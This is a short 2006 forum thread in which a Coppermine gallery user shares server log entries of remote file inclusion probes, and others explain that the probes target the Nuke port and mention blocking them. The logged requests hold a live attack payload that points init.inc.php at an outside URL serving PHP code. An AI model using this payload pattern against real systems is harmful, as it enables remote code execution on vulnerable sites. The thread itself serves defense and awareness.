Title: someone probing for coppermine init.inc.php
Post by: imrich on November 06, 2006, 10:45:20 pm
I found a bunch of entries in my server log file that were strange.

It looks like someone is probing for init.inc.php data:

202.143.135.34 - - [06/Nov/2006:08:31:27 -0500] "GET /coppermine/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://molganinovo.ru/c.php.txt? HTTP/1.1" 404 745 "-" "libwww-perl/5.79"
202.143.135.34 - - [06/Nov/2006:08:31:28 -0500] "GET /coppermine/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://molganinovo.ru/c.php.txt? HTTP/1.1" 404 745 "-" "libwww-perl/5.79"
202.69.231.96 - - [06/Nov/2006:08:33:09 -0500] "GET /coppermine/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://molganinovo.ru/c.php.txt? HTTP/1.1" 404 745 "-" "libwww-perl/5.65"
202
72.5.54.40 - - [06/Nov/2006:09:41:11 -0500] "GET /coppermine/modules/coppermine/include/init.inc.php?CPG_M_DIR=http://molganinovo.ru/c.php.txt? HTTP/1.1" 404 745 "-" "libwww-perl/5.65"
65

Is anyone else seeing this sort of probes from time to time?

I only saw this because I had a bunch of "file does not exist" for init.inc.php in my apache error log, which I thought was strange.

it appears they are seeking the nuke port of coppermine, which we don't support and is known to have some serious security weaknesses.

Thanks for the reply. I'm not running nuke, so it's good to know that I should be ok.

I get those same IP addresses on my site.  I block those IP addresses in my .htaccess file, along with any requests for /modules/.
